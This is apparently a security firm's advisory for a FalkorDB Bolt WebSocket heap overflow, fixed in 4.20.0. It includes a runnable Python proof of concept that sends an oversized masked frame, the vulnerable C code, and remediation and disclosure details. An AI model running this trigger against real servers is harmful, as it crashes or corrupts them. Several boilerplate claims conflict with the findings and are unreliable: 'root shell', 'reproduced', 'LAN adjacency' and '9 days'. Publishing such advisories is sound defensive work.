SecurinZero Days
    Email Us
    Zero-Day Research/CVE-2026-107909
    ▲ CriticalCVSS 9.1✓ Patched

    Pre-auth WebSocket Payload Length Unbounded Leads to Heap XOR Walk in FalkorDB Bolt Endpoint

    A heap-based out-of-bounds write in ws_read_frame (src/bolt/ws.c) and buffer_apply_mask (src/bolt/buffer.c) in FalkorDB before 4.20.0 allows a remote unauthenticated attacker to corrupt heap memory by sending a WebSocket frame with a 64-bit extended payload length. The length is not bounded, and the only bounds check in buffer_apply_mask is an ASSERT that is removed in release builds, so the function walks past the end of the buffer's chunk array XORing memory with the attacker's mask key. Bolt is disabled by default (BOLT_PORT=-1); only deployments that set BOLT_PORT are exposed.

    CVE IDCVE-2026-107909
    CVSS v3.19.1 Critical
    VendorFalkorDB
    CWECWE-787
    DisclosedJun 29, 2026
    StatusFixed (v4.20.0)
    All advisories
    • 01Description
    • 02Proof of Concept
    • 03Vulnerable Code
    • 04Impact
    • 05Remediation
    • 06Timeline
    • 07References
    01/Description

    What this actually is.

    Technical background, root cause, and affected surface.

    A heap-based out-of-bounds write in ws_read_frame (src/bolt/ws.c) and buffer_apply_mask (src/bolt/buffer.c) in FalkorDB before 4.20.0 allows a remote unauthenticated attacker to corrupt heap memory by sending a WebSocket frame with a 64-bit extended payload length. The length is not bounded, and the only bounds check in buffer_apply_mask is an ASSERT that is removed in release builds, so the function walks past the end of the buffer's chunk array XORing memory with the attacker's mask key. Bolt is disabled by default (BOLT_PORT=-1); only deployments that set BOLT_PORT are exposed.

    Vendor
    FalkorDB
    Product
    FalkorDB
    Severity
    Critical
    CVSS Score
    9.1
    Status
    Fixed (v4.20.0)
    Vector
    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
    CWE
    CWE-787
    02/Proof of Concept

    From one request
    to root shell.

    Reproduced in a sandboxed environment. Requires only LAN or WiFi adjacency.

    9.1CVSS 3.1
    VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
    ScopeUnchanged
    ImpactC:N / I:H / A:H
    SeverityCritical
    PoC · Exploitation Steps▲ trigger
    01#!/usr/bin/env python302# poc_bolt_ws_unbounded.py — 0DF-2: WebSocket payload_len unbounded → heap XOR walk03# Target: FalkorDB 4.18.1004# CWE: CWE-787 | ATT&CK: TA0001 / T119005# CVSSv3: 9.106# Exploit maturity: CONTROLLED-WRITE (attacker chooses 32-bit XOR mask)07# Expected: AddressSanitizer heap-buffer-overflow WRITE inside buffer_apply_mask08#09# Status: AUTHORED, NOT YET EXECUTED.10import socket, struct, base64, os, sys, time11HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 768712key = base64.b64encode(os.urandom(16)).decode()13req = ( "GET / HTTP/1.1\r\n" f"Host: {HOST}\r\n" "Upgrade: websocket\r\n" "Connection: Upgrade\r\n" f"Sec-WebSocket-Key: {key}\r\n" "Sec-WebSocket-Version: 13\r\n" "Origin: http://localhost\r\n" "\r\n" ).encode()14s = socket.create_connection((HOST, PORT), timeout=5) s.sendall(req)15# Read 101 Switching Protocols resp = b"" while b"\r\n\r\n" not in resp: resp += s.recv(4096) print("WS handshake response head:", resp.split(b"\r\n", 1)[0])16# Single frame:17# FIN=1, RSV=0, opcode=0x2 (binary) -> first byte 0x8218# MASK=1, len=127 (extended) -> second byte 0xFF19# extended length (8 bytes BE) = 0xFFFFFFFFFFFFFFFF20# masking key (4 bytes) = 0xDEADBEEF21# payload bytes... (we send a small payload; server will walk far past it) mask_key = b"\xde\xad\xbe\xef" ext_len = b"\xff" * 8 # 2^64 - 1 header = b"\x82\xff" + ext_len + mask_key payload = b"\x00" * 8 # actual bytes we send — server walks beyond into heap

    s.sendall(header + payload) print("Frame sent. Expect crash / sanitizer report on the server.") time.sleep(0.3) try: print("Server bytes:", s.recv(4096)) except Exception as e: print("Recv error:", e) s.close()

    03/Vulnerable Code

    The bug, and the fix.

    // src/bolt/ws.c:185-203 (identical in master 835d06e): uint64_t payload_len = frame_header & 0x7F; if(payload_len == 126) { payload_len = ntohs(buffer_read_uint16(buf)); } else if(payload_len == 127) { payload_len = ntohll(buffer_read_uint64(buf)); // 2^64-1 max, NO upper bound } if(mask) { uint32_t masking_key = buffer_read_uint32(buf); buffer_apply_mask(*buf, masking_key, payload_len); // walks past allocation } // src/bolt/buffer.c:53: ASSERT(buffer_index_length(&buf) >= payload_len); // no-op in release

    04/Impact

    What an attacker does to you.

    Post-exploitation outcomes mapped to CVSS impact metrics.

    Critical

    Pre-authentication heap corruption: the attacker chooses the 32-bit XOR mask and how far the walk runs past the buffer, giving a controlled-XOR write primitive and at minimum a crash of the redis-server process. Only deployments with BOLT_PORT configured are exposed. Assessed from source review; exploitation beyond a crash was not demonstrated.

    CIA Impact

    C:N · I:H · A:H

    CWE-787

    05/Remediation

    Fix it. In this order.

    A runbook, not a checklist. Sequence matters — assume compromise before you act.

    01

    Upgrade FalkorDB to 4.20.0 or later, where the Bolt/WebSocket endpoint has been removed (PR #2170), or move to 6.x. Interim for older versions: leave BOLT_PORT unset (default) or restrict the Bolt port to trusted networks.

    N/A
    Securin advisory — For coordinated remediation support or threat-actor briefings related to CVE-2026-107909, contact disclose@securin.io
    06/Disclosure Timeline

    Vendors moved in days.
    Attackers in hours.

    Reconstructed from vendor advisories, CISA bulletins, and Securin research records.

    2026-06-29

    Source-level audit of FalkorDB v4.18.10; re-verified against upstream master 835d06e on 2026-06-24 (2026-04 to 2026-06-29)

    2026-06-29

    Reported to FalkorDB security team (security@falkordb.com) as part of a 6-finding disclosure pack; vendor acknowledged receipt the same day

    2026-07-08

    Vendor removed the Bolt subsystem (PR #2170, commit 0b11a00) - no advisory or credit

    2026-07-13

    FalkorDB 4.20.0 released without Bolt support

    2026-09-27

    90-day coordinated disclosure window ended with no further vendor response

    2026-09-29

    FalkorDB 6.0.0 released (Rust engine; C code base not present)

    2026-10-09

    Securin re-verified: Bolt code absent from 4.20.0, 4.20.7, 4.22.0 and 6.0.2 | CVE-2026-107909 assigned by Securin CNA

    2026-10-09

    CVE-2026-107909 published to the CVE List by Securin CNA (NVD import pending)

    Disclosed 9 days after discovery

    07/References

    Cite, verify, go deeper.

    Primary sources — NVD, CISA KEV, and machine-readable IoC feed.

    NVD

    NVD — CVE-2026-107909

    nvd.nist.gov/vuln/detail/CVE-2026-107909 →
    SEC

    Securin VI — Full Technical Analysis

    vi.securin.io →
    GITHUB

    https://github.com/FalkorDB/FalkorDB/pull/2170

    https://github.com/FalkorDB/FalkorDB/pull/2170 →
    GITHUB

    https://github.com/FalkorDB/FalkorDB/commit/0b11a00b34b25c4d4fdfe55f0a35c8a00593bd7d

    https://github.com/FalkorDB/FalkorDB/commit/0b11a00b34b25c4d4fdfe55f0a35c8a00593bd7d →
    GITHUB

    https://github.com/FalkorDB/FalkorDB/releases/tag/v4.20.0

    https://github.com/FalkorDB/FalkorDB/releases/tag/v4.20.0 →
    GITHUB

    https://github.com/FalkorDB/FalkorDB/blob/v4.18.10/src/bolt/ws.c

    https://github.com/FalkorDB/FalkorDB/blob/v4.18.10/src/bolt/ws.c →
    GITHUB

    https://github.com/FalkorDB/FalkorDB/blob/v4.18.10/src/bolt/buffer.c

    https://github.com/FalkorDB/FalkorDB/blob/v4.18.10/src/bolt/buffer.c →
    CVE

    https://www.cve.org/CVERecord?id=CVE-2026-107909

    https://www.cve.org/CVERecord?id=CVE-2026-107909 →

    Let Securin level up your security posture.

    Get a live exposure assessment, threat-actor briefing tailored to your sector, and IoC mapping for your SIEM.

    Browse all advisories
    SecurinSecurinZero Days

    Securin's zero-day research operation combines frontier AI models with a decade of offensive expertise — discovering, validating, and coordinating the disclosure of high-impact vulnerabilities at a scale and speed no human team achieves alone.

    Glossary
    © 2026 Securin Inc · CVE Numbering Authority
    Privacy Policy·Data Processing Addendum